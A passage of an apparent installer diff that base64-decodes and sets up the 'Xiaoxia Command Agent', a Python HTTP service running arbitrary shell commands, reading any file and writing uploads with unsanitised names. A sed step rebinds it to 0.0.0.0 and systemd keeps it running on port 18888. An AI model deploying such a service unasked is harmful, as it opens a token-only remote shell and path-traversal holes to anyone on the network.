dWUsIHRleHQ9VHJ1ZSwgdGltZW91dD10aW1lb3V0KQogICAgICAgICAgICBzZWxmLl9qKHsiZXhpdF9jb2RlIjpyLnJldHVybmNvZGUsInN0ZG91dCI6ci5zdGRvdXRbLTEwMDAwMDpdIGlmIHIuc3Rkb3V0IGVsc2UgIiIsInN0ZGVyciI6ci5zdGRlcnJbLTEwMDAwOl0gaWYgci5zdGRlcnIgZWxzZSAiIn0pCiAgICAgICAgZXhjZXB0IHN1YnByb2Nlc3MuVGltZW91dEV4cGlyZWQ6IHNlbGYuX2ooeyJlcnJvciI6ZiJ0aW1lb3V0IHt0aW1lb3V0fXMifSw0MDgpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfbGlzdChzZWxmLCBsZW5ndGgpOgogICAgICAgIHRyeTogZGF0YSA9IGpzb24ubG9hZHMoc2VsZi5yZmlsZS5yZWFkKGxlbmd0aCkpIGlmIGxlbmd0aD4wIGVsc2Uge30KICAgICAgICBleGNlcHQ6IHNlbGYuX2ooeyJlcnJvciI6ImludmFsaWQganNvbiJ9LDQwMCk7IHJldHVybgogICAgICAgIHBhdGggPSBkYXRhLmdldCgicGF0aCIsIi4iKQogICAgICAgIHRyeToKICAgICAgICAgICAgZW50cmllcyA9IFtdCiAgICAgICAgICAgIGZvciBuYW1lIGluIHNvcnRlZChvcy5saXN0ZGlyKHBhdGgpKToKICAgICAgICAgICAgICAgIGZwMiA9IG9zLnBhdGguam9pbihwYXRoLCBuYW1lKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIHN0ID0gb3Muc3RhdChmcDIpCiAgICAgICAgICAgICAgICAgICAgZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOm9zLnBhdGguaXNkaXIoZnAyKSwic2l6ZSI6c3Quc3Rfc2l6ZSwibXRpbWUiOnN0LnN0X210aW1lfSkKICAgICAgICAgICAgICAgIGV4Y2VwdDogZW50cmllcy5hcHBlbmQoeyJuYW1lIjpuYW1lLCJpc19kaXIiOkZhbHNlLCJzaXplIjowLCJtdGltZSI6MH0pCiAgICAgICAgICAgIHNlbGYuX2ooeyJwYXRoIjpwYXRoLCJlbnRyaWVzIjplbnRyaWVzfSkKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6IHNlbGYuX2ooeyJlcnJvciI6c3RyKGUpfSw1MDApCgogICAgZGVmIF91cGxvYWQoc2VsZiwgbGVuZ3RoKToKICAgICAgICBjdCA9IHNlbGYuaGVhZGVycy5nZXQoIkNvbnRlbnQtVHlwZSIsIiIpCiAgICAgICAgaWYgIm11bHRpcGFydC9mb3JtLWRhdGEiIG5vdCBpbiBjdDoKICAgICAgICAgICAgc2VsZi5faih7ImVycm9yIjoibXVsdGlwYXJ0IHJlcXVpcmVkIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgdHJ5OgogICAgICAgICAgICBib3VuZGFyeSA9IGN0LnNwbGl0KCJib3VuZGFyeT0iKVsxXS5zdHJpcCgpCiAgICAgICAgICAgIGJvZHkgPSBzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKQogICAgICAgICAgICBwYXJ0cyA9IGJvZHkuc3BsaXQoYiItLSIgKyBib3VuZGFyeS5lbmNvZGUoKSkKICAgICAgICAgICAgZm5hbWUgPSBmZGF0YSA9IE5vbmUKICAgICAgICAgICAgZm9yIHBhcnQgaW4gcGFydHM6CiAgICAgICAgICAgICAgICBpZiBiImZpbGVuYW1lPSIgaW4gcGFydDoKICAgICAgICAgICAgICAgICAgICBoLCBfLCBjb250ZW50ID0gcGFydC5wYXJ0aXRpb24oYiJcclxuXHJcbiIpCiAgICAgICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gaC5kZWNvZGUoZXJyb3JzPSJyZXBsYWNlIikuc3BsaXQoIlxyXG4iKToKICAgICAgICAgICAgICAgICAgICAgICAgaWYgJ2ZpbGVuYW1lPSInIGluIGxpbmU6IGZuYW1lID0gbGluZS5zcGxpdCgnZmlsZW5hbWU9IicpWzFdLnNwbGl0KCciJylbMF0KICAgICAgICAgICAgICAgICAgICBmZGF0YSA9IGNvbnRlbnQucnN0cmlwKGIiXHJcbiIpCiAgICAgICAgICAgIGlmIGZuYW1lIGlzIE5vbmUgb3IgZmRhdGEgaXMgTm9uZToKICAgICAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vIGZpbGUifSw0MDApOyByZXR1cm4KICAgICAgICAgICAgZGVzdF9kaXIgPSAiL3RtcCIKICAgICAgICAgICAgZGVzdCA9IG9zLnBhdGguam9pbihkZXN0X2RpciwgZm5hbWUpCiAgICAgICAgICAgIG9zLm1ha2VkaXJzKGRlc3RfZGlyLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICB3aXRoIG9wZW4oZGVzdCwid2IiKSBhcyBmOiBmLndyaXRlKGZkYXRhKQogICAgICAgICAgICBzZWxmLl9qKHsib2siOlRydWUsInBhdGgiOmRlc3QsInNpemUiOmxlbihmZGF0YSl9KQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZTogc2VsZi5faih7ImVycm9yIjpzdHIoZSl9LDUwMCkKCiAgICBkZWYgX21rZGlyKHNlbGYsIGxlbmd0aCk6CiAgICAgICAgdHJ5OiBkYXRhID0ganNvbi5sb2FkcyhzZWxmLnJmaWxlLnJlYWQobGVuZ3RoKSkgaWYgbGVuZ3RoPjAgZWxzZSB7fQogICAgICAgIGV4Y2VwdDogc2VsZi5faih7ImVycm9yIjoiaW52YWxpZCBqc29uIn0sNDAwKTsgcmV0dXJuCiAgICAgICAgcGF0aCA9IGRhdGEuZ2V0KCJwYXRoIiwiIikKICAgICAgICBpZiBub3QgcGF0aDogc2VsZi5faih7ImVycm9yIjoicGF0aCByZXF1aXJlZCJ9LDQwMCk7IHJldHVybgogICAgICAgIHRyeTogb3MubWFrZWRpcnMocGF0aCwgZXhpc3Rfb2s9VHJ1ZSk7IHNlbGYuX2ooeyJvayI6VHJ1ZSwiY3JlYXRlZCI6cGF0aH0pCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKICAgIGRlZiBfZG93bmxvYWQoc2VsZik6CiAgICAgICAgaWYgbm90IHNlbGYuY2hlY2tfYXV0aCgpOiByZXR1cm4KICAgICAgICBxcyA9IHBhcnNlX3FzKHVybHBhcnNlKHNlbGYucGF0aCkucXVlcnkpCiAgICAgICAgZnAgPSBxcy5nZXQoInBhdGgiLFsiIl0pWzBdCiAgICAgICAgaWYgbm90IGZwIG9yIG5vdCBvcy5wYXRoLmlzZmlsZShmcCk6CiAgICAgICAgICAgIHNlbGYuX2ooeyJlcnJvciI6Im5vdCBmb3VuZCJ9LDQwNCk7IHJldHVybgogICAgICAgIHRyeToKICAgICAgICAgICAgd2l0aCBvcGVuKGZwLCJyYiIpIGFzIGY6IGRhdGEgPSBmLnJlYWQoKQogICAgICAgICAgICBzZWxmLnNlbmRfcmVzcG9uc2UoMjAwKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LVR5cGUiLCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKQogICAgICAgICAgICBzZWxmLnNlbmRfaGVhZGVyKCJDb250ZW50LUxlbmd0aCIsc3RyKGxlbihkYXRhKSkpCiAgICAgICAgICAgIHNlbGYuZW5kX2hlYWRlcnMoKQogICAgICAgICAgICBzZWxmLndmaWxlLndyaXRlKGRhdGEpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOiBzZWxmLl9qKHsiZXJyb3IiOnN0cihlKX0sNTAwKQoKZGVmIG1haW4oKToKICAgIGdsb2JhbCBBVVRIX1RPS0VOCiAgICBpbnN0YWxsZWRfZmxhZyA9ICIvZXRjL3hpYW94aWEtY21kLWFnZW50Lmluc3RhbGxlZCIKICAgIGlmIG5vdCBvcy5wYXRoLmV4aXN0cyhpbnN0YWxsZWRfZmxhZyk6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIiwidyIpIGFzIGY6IGYud3JpdGUoQVVUSF9UT0tFTikKICAgICAgICBvcy5jaG1vZCgiL2V0Yy94aWFveGlhLWNtZC1hZ2VudC50b2tlbiIsIDBvNjAwKQogICAgICAgIHN2YyA9ICJbVW5pdF1cbkRlc2NyaXB0aW9uPVhpYW94aWEgQ29tbWFuZCBBZ2VudFxuQWZ0ZXI9bmV0d29yay50YXJnZXRcbltTZXJ2aWNlXVxuVHlwZT1zaW1wbGVcbkV4ZWNTdGFydD0vdXNyL2Jpbi9weXRob24zIC9vcHQveGlhb3hpYS1jbWQtYWdlbnQvc2VydmVyLnB5XG5SZXN0YXJ0PWFsd2F5c1xuUmVzdGFydFNlYz01XG5bSW5zdGFsbF1cbldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0XG4iCiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3N5c3RlbWQvc3lzdGVtL3hpYW94aWEtY21kLWFnZW50LnNlcnZpY2UiLCJ3IikgYXMgZjogZi53cml0ZShzdmMpCiAgICAgICAgb3Muc3lzdGVtKCJzeXN0ZW1jdGwgZGFlbW9uLXJlbG9hZCAmJiBzeXN0ZW1jdGwgZW5hYmxlIHhpYW94aWEtY21kLWFnZW50IikKICAgICAgICB3aXRoIG9wZW4oaW5zdGFsbGVkX2ZsYWcsInciKSBhcyBmOiBmLndyaXRlKCIxIikKICAgICAgICBwcmludChmIlNlcnZpY2UgaW5zdGFsbGVkLiBUT0tFTjoge0FVVEhfVE9LRU59IikKICAgIGVsc2U6CiAgICAgICAgd2l0aCBvcGVuKCIvZXRjL3hpYW94aWEtY21kLWFnZW50LnRva2VuIikgYXMgZjoKICAgICAgICAgICAgQVVUSF9UT0tFTiA9IGYucmVhZCgpLnN0cmlwKCkKICAgICAgICBwcmludChmIlVzaW5nIGV4aXN0aW5nIHRva2VuOiB7QVVUSF9UT0tFTn0iKQogICAgc2VydmVyID0gaHR0cC5zZXJ2ZXIuSFRUUFNlcnZlcigoIjEyNy4wLjAuMSIsIExJU1RFTl9QT1JUKSwgSGFuZGxlcikKICAgIHByaW50KGYiTGlzdGVuaW5nOiAxMjcuMC4wLjE6e0xJU1RFTl9QT1JUfSIpCiAgICBzZXJ2ZXIuc2VydmVfZm9yZXZlcigpCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgbWFpbigpCgo=' | base64 -d > server.py + + $SUDO mkdir -p /opt/xiaoxia-cmd-agent + $SUDO cp server.py /opt/xiaoxia-cmd-agent/server.py + $SUDO chmod +x /opt/xiaoxia-cmd-agent/server.py + + TOKEN="xsa-$(openssl rand -hex 16)" + echo "TOKEN: $TOKEN" + echo "$TOKEN" | $SUDO tee /etc/xiaoxia-cmd-agent.token > /dev/null + $SUDO chmod 600 /etc/xiaoxia-cmd-agent.token + + $SUDO sed -i 's/("127.0.0.1", LISTEN_PORT)/("0.0.0.0", LISTEN_PORT)/' /opt/xiaoxia-cmd-agent/server.py + + echo "1" | $SUDO tee /etc/xiaoxia-cmd-agent.installed > /dev/null + + $SUDO tee /etc/systemd/system/xiaoxia-cmd-agent.service > /dev/null << 'SVC' +[Unit] +Description=Xiaoxia Command Agent +After=network.target + +[Service] +Type=simple +ExecStart=/usr/bin/python3 /opt/xiaoxia-cmd-agent/server.py +Restart=always +RestartSec=5 + +[Install] +WantedBy=multi-user.target +SVC + + $SUDO systemctl daemon-reload + $SUDO systemctl enable xiaoxia-cmd-agent + $SUDO systemctl start xiaoxia-cmd-agent + + sleep 3 + + echo "=== 安装结果 ===" + $SUDO systemctl status xiaoxia-cmd-agent --no-pager || true + echo "" + echo "=== 连接信息 ===" + echo "主机名: $(hostname)" + echo "IP: $(hostname -I 2>/dev/null | awk '{print $1}')" + echo "端口: 18888" + echo "Token: $TOKEN" + + curl -s -H "Authorization: $TOKEN" http://127.0.0.1:18888/status && echo "" || echo "本地验证失败"